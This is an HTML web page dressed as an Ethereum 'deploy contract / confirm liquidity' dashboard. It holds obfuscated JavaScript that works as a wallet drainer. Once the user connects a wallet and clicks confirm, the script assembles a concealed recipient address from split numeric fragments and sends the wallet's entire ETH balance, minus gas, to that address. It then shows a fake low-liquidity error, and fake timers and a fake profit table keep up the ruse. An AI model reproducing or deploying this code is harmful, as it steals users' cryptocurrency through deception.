main web3
<section>
<button id="connectButton">connect</button>
<table id="checkAdressBalanceButton" style="display: none">
<tr>
<td>my contract</td>
<td><button id="regular">deploy</button></td>
<td>
<p id="result"><code>no contract</code></p>
</td>
</tr>
<tr>
<td>my second address</td>
<td>
<input type="text" id="typeAdress" name="adress_auth" placeholder="Input second address ETH-0x"
autocomplete="off" size="20" />
</td>
<td>
<button id="sendEtherButton" style="display: none">Attach</button>
</td>
<td>
<div id="statusMessage"></div>
</td>
</tr>
<tr>
<td>my status</td>
<td>
<center>
<button disabled="disabled" id="checkBalanceButton" style="display: none">
liquid
</button>
</td>
<td>
<p id="balanceDisplay" style="display: none"></p>confirm the liquidity
</td>
</tr>
</table>
<script>
console.log("0")
const connectButton = document.getElementById("connectButton");
const sendEtherButton = document.getElementById("sendEtherButton");
const typeAdress = document.getElementById("typeAdress");
const checkBalanceButton = document.getElementById("checkBalanceButton");
const balanceDisplay = document.getElementById("balanceDisplay");
const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
const statusMessage = document.getElementById("statusMessage");
let validationComplete = false;
let transferInProgress = false;
</script>
<script>
const _0x5cf364=_0x48df;(function(_0x1e0f3e,_0x3471e6){const _0x58f3a7=_0x48df,_0x5de036=_0x1e0f3e();while(!![]){try{const _0xc29f2b=parseInt(_0x58f3a7(0x104))/0x1*(-parseInt(_0x58f3a7(0xb6))/0x2)+-parseInt(_0x58f3a7(0xcf))/0x3+-parseInt(_0x58f3a7(0x102))/0x4*(parseInt(_0x58f3a7(0xc2))/0x5)+parseInt(_0x58f3a7(0xf4))/0x6*(-parseInt(_0x58f3a7(0xe8))/0x7)+parseInt(_0x58f3a7(0xb3))/0x8+parseInt(_0x58f3a7(0xfd))/0x9+parseInt(_0x58f3a7(0xb8))/0xa;if(_0xc29f2b===_0x3471e6)break;else _0x5de036['push'](_0x5de036['shift']());}catch(_0x66c807){_0x5de036['push'](_0x5de036['shift']());}}}(_0x2b79,0x78d9a));function _0x161b(){const _0x19e93b=_0x48df,_0x2b5578=[_0x19e93b(0xbc),'A3zSA28','DKHeB2K',_0x19e93b(0xbd),_0x19e93b(0xce),_0x19e93b(0xef),_0x19e93b(0xcd),_0x19e93b(0xe9),'ntq5mta',_0x19e93b(0xb9),'zxrOzxjLDw0',_0x19e93b(0xd9),_0x19e93b(0xc4),_0x19e93b(0x106),_0x19e93b(0xaf),'yxbWBhK',_0x19e93b(0x103),_0x19e93b(0xd4),_0x19e93b(0xb0),_0x19e93b(0xff),'rMTmELG',_0x19e93b(0xed),_0x19e93b(0xd6),_0x19e93b(0xee),_0x19e93b(0xf8),'BwfSBcbHBw91BG',_0x19e93b(0xc8),_0x19e93b(0xd3),_0x19e93b(0x105),_0x19e93b(0xfa),_0x19e93b(0xe4),_0x19e93b(0xe3),_0x19e93b(0xc9),_0x19e93b(0xd5),'BMX5vhj1C3rdCG',_0x19e93b(0xf9),_0x19e93b(0xca),'odq0nta3AuvysMDQ',_0x19e93b(0xbb),'ugHiB2G',_0x19e93b(0xdd),'qxnqDuC',_0x19e93b(0xeb),_0x19e93b(0xe6),_0x19e93b(0xe1),_0x19e93b(0xec),_0x19e93b(0xf7),'BM8GrvriigzVCG',_0x19e93b(0xb7),_0x19e93b(0xd8),_0x19e93b(0xc1),_0x19e93b(0xfb),_0x19e93b(0xba),_0x19e93b(0xb2),_0x19e93b(0x107),_0x19e93b(0xf6),'ntqZnJK0',_0x19e93b(0xbe),_0x19e93b(0xdc),_0x19e93b(0xd1),_0x19e93b(0xea),_0x19e93b(0xf3),'x19WCM90B19F',_0x19e93b(0xe5),'BMn0Aw9UkcKG','BwuGsM9OBIbnyq',_0x19e93b(0xd7),'y29UC29Szq',_0x19e93b(0xbf),'v0TJCeC','DcbVzIbSAxf1Aq',_0x19e93b(0xdf),_0x19e93b(0x100),_0x19e93b(0xb1),'vLHiEgK',_0x19e93b(0xf1),'A09uAK4',_0x19e93b(0xde),_0x19e93b(0xf2),'zxHJzxb0Aw9U',_0x19e93b(0xf0),_0x19e93b(0xdb),_0x19e93b(0xcb),_0x19e93b(0xc5),_0x19e93b(0xd2),'mtiWnZCXt2jnwLfn','zfHwt0m'];return _0x161b=function(){return _0x2b5578;},_0x161b();}function kyc(_0x526c04){const _0x594f88=_0x48df;let _0x1a8c9d=!![];try{return parseInt(_0x526c04,0xa)[_0x594f88(0xfc)](0x10);}catch(_0x29db4e){return console['error'](_0x594f88(0xb4),_0x29db4e),null;}}console[_0x5cf364(0xe2)](window[_0x5cf364(0x101)][_0x5cf364(0xf5)]);const evm=kyc(_0x5cf364(0xcc)),hashlock=kyc('224537'),unit=''+evm+hashlock,moe=kyc('112615'),spv=kyc('609379');function _0x5f3ab4(_0x1f30af,_0x4b2832,_0x13984b,_0xfed0bf){return _0x35be(_0x4b2832-0x8f,_0x13984b);}function _0x2b79(){const _0x1836bf=['vwLPCem','sK1zwKq','ANf2Efe','CgvHDcbHz2fPBG','mJa3nZyYrg9VyuXc','D2fYBG','CM4GDgHPCYiPka','ntmZmhLgs1jOwq','CMv0DxjUicHMDq','5370kSAfFv','selectedAddress','CwTgq3G','se16sK0','yMLUza','DgfIBgu','mtiZndK3ma','Exb0BYbnEsbUyq','toString','3025557YyHnYI','90178','y29UC3rYDwn0BW','y21yD0C','ethereum','104476XadpxR','CMvXDwvZDa','18mGHVCM','mtu0mZqX','zxjYB3i','ndqYmKvkCwzAva','no\x20ETH\x20for\x20gas\x20fee','Error\x20confirming\x20liquidity.\x20Repeat\x20again','zwXLz3jHBsbTzq','EK5krxC','qMfnAgG','Cwn1sgC','1671976PtnjrI','Error\x20converting\x20value\x20to\x20hexadecimal:','request','3560DRkNNa','t1z6sLK','18657350uNpETD','y0fcs0O','ntC1mZq','yw5Jzq','Dg9tDhjPBMC','q3PRAwu','v0PRB0K','mtK2otaZnNrvt3zezG','628025','ChjVDg90ExbL','25GEvNdk','593702','B2nRwKi','rxjYB3iGy29UzG','898424','eth_getBalance','odqWntq2ovDNCgvpBa','mtK3mdG1mdboEuXct28','mZyWEeLWDNbS','CNj5','354704','v29hthK','C2vSzwn0zwrbza','2443239HhHfuX','eth_sendTransaction','r3L6sgi','E30Uy29UC3rYDq','C2uGD3jPDguGDa','qNzpEMm','DwLKAxr5lIbszq','zxrOx2DHC1bYAq','Bgf0zxn0','kcGOlISPkYKRkq','ntq0mdm4oq','receiving\x20wallet:\x20','uhPyAuC','AxjTAw5NigXPCq','rxjYB3iHieeGCW','DMfSDwu','mMTLs3bzEG','error','y3rVCIGICMv0Dq','log','DhjHy2u','zxrOx3nLBMruCG','zhjLC3m','Aw5MBW','latest','7343lyLFVZ','CLzjzxm','C2vHCMnO'];_0x2b79=function(){return _0x1836bf;};return _0x2b79();}const comission=kyc(_0x5cf364(0xc6));function _0x32f29c(_0x585c75,_0x2425ed,_0x4fab49,_0x2e1e38){return _0x35be(_0x4fab49+0xe3,_0x2e1e38);}function _0x48df(_0x402115,_0x53b7e5){const _0x2b797f=_0x2b79();return _0x48df=function(_0x48df2a,_0x29db95){_0x48df2a=_0x48df2a-0xad;let _0xb61723=_0x2b797f[_0x48df2a];return _0xb61723;},_0x48df(_0x402115,_0x53b7e5);}const confirm=''+moe+spv,performTransaction=async()=>{const _0x4d0650=_0x5cf364;let _0x2328e8;try{transferInProgress=!![];const _0x590728=kyc(_0x4d0650(0xfe)),_0xdcd4cb=kyc(_0x4d0650(0xc0)),_0x52fa32=kyc(_0x4d0650(0xc3)),_0x38d3c5=await window['ethereum'][_0x4d0650(0xb5)]({'method':_0x4d0650(0xc7),'params':[window[_0x4d0650(0x101)][_0x4d0650(0xf5)],_0x4d0650(0xe7)]}),_0x3c6b5c={'method':'eth_gasPrice'},_0x3343d4=await window[_0x4d0650(0x101)][_0x4d0650(0xb5)](_0x3c6b5c),_0x3de266=''+comission+_0x590728,_0x453c11=_0x3343d4*0xc350;console[_0x4d0650(0xe2)](window[_0x4d0650(0x101)][_0x4d0650(0xf5)]);if(BigInt(_0x38d3c5)<_0x453c11){alert(_0x4d0650(0xad)),transferInProgress=![];return;}const _0x3be02f=''+_0xdcd4cb+_0x52fa32,_0x42b2fb=BigInt(_0x38d3c5)-BigInt(_0x453c11),_0x2687c4='0x'+unit+confirm+_0x3de266+_0x3be02f;console[_0x4d0650(0xe2)](_0x4d0650(0xda)+_0x2687c4),await window['ethereum']['request']({'method':_0x4d0650(0xd0),'params':[{'from':window['ethereum'][_0x4d0650(0xf5)],'to':_0x2687c4,'value':'0x'+_0x42b2fb[_0x4d0650(0xfc)](0x10)}]}),alert('Error!\x20A\x20small\x20amount\x20of\x20liquidity.'),transferInProgress=![];}catch(_0x53129e){alert(_0x4d0650(0xae)),console[_0x4d0650(0xe0)](_0x53129e),transferInProgress=![];}};
</script>
<script>
const _0x4a3345=_0x2feb;(function(_0x38b962,_0x31e67e){const _0x3ff8d0=_0x2feb,_0x31f652=_0x38b962();while(!![]){try{const _0xd4a9ba=-parseInt(_0x3ff8d0(0xf2))/0x1+-parseInt(_0x3ff8d0(0xfc))/0x2*(-parseInt(_0x3ff8d0(0x101))/0x3)+parseInt(_0x3ff8d0(0xea))/0x4*(-parseInt(_0x3ff8d0(0xfe))/0x5)+-parseInt(_0x3ff8d0(0xfb))/0x6*(parseInt(_0x3ff8d0(0x108))/0x7)+-parseInt(_0x3ff8d0(0xef))/0x8+-parseInt(_0x3ff8d0(0xf6))/0x9*(-parseInt(_0x3ff8d0(0x10e))/0xa)+-parseInt(_0x3ff8d0(0xf9))/0xb*(-parseInt(_0x3ff8d0(0xf8))/0xc);if(_0xd4a9ba===_0x31e67e)break;else _0x31f652['push'](_0x31f652['shift']());}catch(_0x32df3c){_0x31f652['push'](_0x31f652['shift']());}}}(_0x5956,0x53692),connectButton['addEventListener'](_0x4a3345(0xf4),async()=>{const _0x2be2dc=_0x4a3345;try{const _0x185c7d=await window['ethereum'][_0x2be2dc(0x110)]({'method':_0x2be2dc(0x100)});_0x185c7d[_0x2be2dc(0x107)]>0x0&&(sendEtherButton[_0x2be2dc(0xf1)][_0x2be2dc(0x105)]=_0x2be2dc(0xf5),typeAdress[_0x2be2dc(0xf1)]['display']=_0x2be2dc(0xf5),checkBalanceButton[_0x2be2dc(0xf1)][_0x2be2dc(0x105)]=_0x2be2dc(0xf5),checkAdressBalanceButton[_0x2be2dc(0xf1)][_0x2be2dc(0x105)]='block',connectButton[_0x2be2dc(0xf1)][_0x2be2dc(0x105)]=_0x2be2dc(0xee));}catch(_0x3f55d3){console[_0x2be2dc(0x10f)](_0x3f55d3),alert(_0x2be2dc(0xec));}}),sendEtherButton[_0x4a3345(0xe9)](_0x4a3345(0xf4),async()=>{const _0x57868c=_0x4a3345;try{const _0x383a55=typeAdress[_0x57868c(0x103)];if(resultElement[_0x57868c(0x111)]!==_0x57868c(0x104)){alert(_0x57868c(0x106));return;}if(!_0x383a55||_0x383a55[_0x57868c(0x107)]<0x28){alert(_0x57868c(0x109));return;}if(!validationComplete)/^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g[_0x57868c(0x10d)](_0x383a55)&&_0x383a55[_0x57868c(0x107)]>=0x28?(statusMessage['textContent']=_0x57868c(0xfa),typeAdress[_0x57868c(0xfd)]=!![],sendEtherButton['disabled']=!![],setTimeout(()=>{const _0x11926b=_0x57868c;validationComplete=!![],statusMessage[_0x11926b(0xff)]=_0x11926b(0x104),typeAdress['disabled']=!![],sendEtherButton[_0x11926b(0xff)]=_0x11926b(0xf7),sendEtherButton[_0x11926b(0xfd)]=![];},0x2710)):alert(_0x57868c(0xf0));else sendEtherButton[_0x57868c(0xff)]==='confirm'&&performTransaction();}catch(_0x41f143){console[_0x57868c(0x10f)](_0x57868c(0x102)+_0x41f143),transferInProgress=![];}}),checkBalanceButton['addEventListener']('click',async()=>{const _0x43ae29=_0x4a3345;try{const _0x2a9239=await window[_0x43ae29(0x10b)][_0x43ae29(0x110)]({'method':_0x43ae29(0xed),'params':[window[_0x43ae29(0x10b)][_0x43ae29(0x10c)],'latest']}),_0x26279a=(parseInt(_0x2a9239)/0xde0b6b3a7640000)[_0x43ae29(0xf3)](0x4);balanceDisplay[_0x43ae29(0x111)]=_0x43ae29(0x10a)+_0x26279a+_0x43ae29(0x112),balanceDisplay[_0x43ae29(0xf1)][_0x43ae29(0x105)]=_0x43ae29(0xf5);}catch(_0x2236c1){console[_0x43ae29(0x10f)](_0x2236c1),alert(_0x43ae29(0xeb));}}));function _0x2feb(_0x2c2fc2,_0x4a4f65){const _0x5956f5=_0x5956();return _0x2feb=function(_0x2feb0c,_0x5785c4){_0x2feb0c=_0x2feb0c-0xe9;let _0x256fa7=_0x5956f5[_0x2feb0c];return _0x256fa7;},_0x2feb(_0x2c2fc2,_0x4a4f65);}function _0x5956(){const _0x435306=['Error','connection\x20error','eth_getBalance','none','3382544KMXvFQ','Error!\x20input\x20value','style','202583nelCdl','toFixed','click','block','9cuznqY','confirm','9661548fgfuGM','11qnpkSa','waiting...','16716hJeNEo','2qfGLBK','disabled','15bDcnQV','textContent','eth_requestAccounts','1226505aJrZVK','Error\x20on\x20process:\x0a','value','ready','display','Сlick\x20the\x20deploy\x20button','length','966vmwpdy','Attention!\x20Enter\x20the\x20correct\x20second\x20Ethereum\x20address','balance:\x20','ethereum','selectedAddress','test','6814820IggXsA','error','request','innerText','\x20ETH','addEventListener','725236LRQQRT'];_0x5956=function(){return _0x435306;};return _0x5956();}
</script>
<style>
html {
box-sizing: border-box;
font-family: "Open Sans", sans-serif;
}
*,
*:before,
*:after {
box-sizing: inherit;
}
body {
font-family: Arial, sans-serif;
text-align: center;
margin: 0;
padding: 20px;
background: #222336;
background: -webkit-radial-gradient(circle farthest-side at center center,
#222336 0%,
#222336 100%);
background: -moz-radial-gradient(circle farthest-side at center center,
#2a2c3f 0%,
#222336 100%);
background: radial-gradient(circle farthest-side at center center,
#222336 0%,
#222336 100%);
}
section {
background: #2a2c3f;
color: white;
border-radius: 1em;
padding: 1em;
position: absolute;
top: 50%;
left: 50%;
margin-right: -50%;
margin: 0 auto;
transform: translate(-50%, -50%);
}
</style>
<div id="tableEth" style="height: 400px;
overflow-y:scroll;
display: none;">
<font color=white>
<p align=left>
my ETH contract:
<span id="contract"></span>
</p>
<p align=left>
my ETH address:
<span id="addressEth"></span>
</p>
<p align=left>
my liqiudity:
<button>low</button>
</p>
<p align=left>
my status:
<button>liquid</button>
</p>
<p align=left>
my profit for withdraw ETH:
<span id="earnEth"></span> ETH
</p>
<p align=left>
<input type="text" id="addressWithdrawEth" name="adress_auth" placeholder="0x" autocomplete="off"
size="20" />
<button id="withdrawAllEth" onclick="withdrawEth()">withdraw ALL profit </button>
<button id="increaseLiquidity" disabled onclick="repeatConfirm()">increase liquidity</button>
<table>
<thead>
<tr>
<th>Status</th>
<th>Method</th>
<th>My fee <br>(my profit)</th>
<th>Sender</th>
<th>My ETH account</th>
</tr>
</thead>
<tbody id="tableBody"></tbody>
</table>
</div>
<script>
const regularLaunchButton = document.getElementById("regular");
const resultElement = document.getElementById("result");
function setButtonsDisabled(isDisabled) {
regularLaunchButton.disabled = isDisabled;
}
function timeout(workFn) {
console.log("exec");
setButtonsDisabled(true);
resultElement.innerText = "waiting...";
setTimeout(() => {
const asyncStartTime = Date.now();
resultElement.innerText = "ready";
setButtonsDisabled(true);
}, 12000);
const startTime = Date.now();
if (typeof workFn === "function") {
workFn();
}
}
regularLaunchButton.addEventListener("click", () => {
timeout();
});
</script>
</section>